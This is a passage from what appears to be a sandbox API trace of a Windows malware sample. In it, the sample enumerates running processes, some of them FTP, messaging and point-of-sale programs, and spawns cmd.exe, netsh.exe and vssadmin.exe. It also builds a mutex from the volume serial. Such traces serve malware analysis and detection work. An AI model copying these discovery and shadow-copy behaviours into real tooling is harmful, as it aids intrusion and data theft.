lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="light handmade.exe")) returned 1 [0101.201] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blond.exe")) returned 1 [0101.202] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="months.exe")) returned 1 [0101.202] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ragemedicare.exe")) returned 1 [0101.203] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablet restored processes.exe")) returned 1 [0101.204] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0101.204] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0101.205] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0101.205] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0101.206] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0101.207] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0101.207] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0101.208] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0101.208] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0101.209] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0101.209] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0101.210] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0101.210] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0101.211] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0101.212] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0101.212] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0101.213] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0101.213] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0101.214] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0101.214] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0101.405] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0101.406] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0101.407] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0101.408] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0101.409] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0101.410] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0101.411] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0101.412] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0101.413] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0101.414] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0101.415] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0101.416] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0101.417] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0101.418] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0101.419] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0101.420] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0101.421] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0101.422] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0101.423] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0101.424] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0101.425] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0101.425] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0101.426] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wax.exe")) returned 1 [0101.427] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed seven.exe")) returned 1 [0101.428] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="camerasrefine.exe")) returned 1 [0101.429] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0101.430] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0101.430] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0101.431] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0101.432] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0101.434] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.434] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0101.435] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.436] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0101.437] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0101.438] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0101.438] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0101.439] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x25c, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0101.440] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x83c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0101.441] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0101.441] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0101.442] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0101.443] CloseHandle (hObject=0x1d0) returned 1 [0101.443] Sleep (dwMilliseconds=0x1f4) Thread: id = 14 os_tid = 0x55c [0073.576] GetVersion () returned 0x1db10106 [0073.576] GetCurrentProcess () returned 0xffffffff [0073.576] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x238fbb4 | out: TokenHandle=0x238fbb4*=0x13c) returned 1 [0073.576] GetTokenInformation (in: TokenHandle=0x13c, TokenInformationClass=0x14, TokenInformation=0x238fbac, TokenInformationLength=0x4, ReturnLength=0x238fbb0 | out: TokenInformation=0x238fbac, ReturnLength=0x238fbb0) returned 1 [0073.576] CloseHandle (hObject=0x13c) returned 1 [0073.576] GetProcessHeap () returned 0x470000 [0073.576] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x489c08 [0073.576] GetProcessHeap () returned 0x470000 [0073.576] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x489be0 [0073.576] GetProcessHeap () returned 0x470000 [0073.576] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x489d20 [0073.576] GetProcessHeap () returned 0x470000 [0073.576] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48ae38 [0073.577] GetProcessHeap () returned 0x470000 [0073.577] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ae38 | out: hHeap=0x470000) returned 1 [0073.577] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x489be0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0073.577] GetProcessHeap () returned 0x470000 [0073.577] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489d20 | out: hHeap=0x470000) returned 1 [0073.577] GetProcessHeap () returned 0x470000 [0073.577] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489c08 | out: hHeap=0x470000) returned 1 [0073.577] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x238fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x238fb3c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0073.577] GetProcessHeap () returned 0x470000 [0073.577] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489be0 | out: hHeap=0x470000) returned 1 [0073.577] GetProcessHeap () returned 0x470000 [0073.577] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x484090 [0073.577] GetProcessHeap () returned 0x470000 [0073.578] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x3a) returned 0x4840d8 [0073.578] GetProcessHeap () returned 0x470000 [0073.578] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x4840d8, Size=0x72) returned 0x47f858 [0073.578] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x13c [0073.578] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x0) returned 0x102 [0073.578] CloseHandle (hObject=0x13c) returned 1 [0073.578] GetProcessHeap () returned 0x470000 [0073.578] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x484090 | out: hHeap=0x470000) returned 1 [0073.578] GetProcessHeap () returned 0x470000 [0073.578] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x47f858 | out: hHeap=0x470000) returned 1 [0073.578] Sleep (dwMilliseconds=0x3e8) [0076.879] GetProcessHeap () returned 0x470000 [0076.879] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x489f50 [0076.879] GetProcessHeap () returned 0x470000 [0076.880] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x489f78 [0076.880] GetProcessHeap () returned 0x470000 [0076.880] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x489fa0 [0076.880] GetProcessHeap () returned 0x470000 [0076.880] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x491dc0 [0076.880] GetProcessHeap () returned 0x470000 [0076.880] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x491dc0 | out: hHeap=0x470000) returned 1 [0076.880] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x489f78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0076.880] GetProcessHeap () returned 0x470000 [0076.880] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489fa0 | out: hHeap=0x470000) returned 1 [0076.880] GetProcessHeap () returned 0x470000 [0076.880] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489f50 | out: hHeap=0x470000) returned 1 [0076.880] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x238fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x238fb3c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0076.942] GetProcessHeap () returned 0x470000 [0076.942] HeapFree (in: hHeap=0x470000, 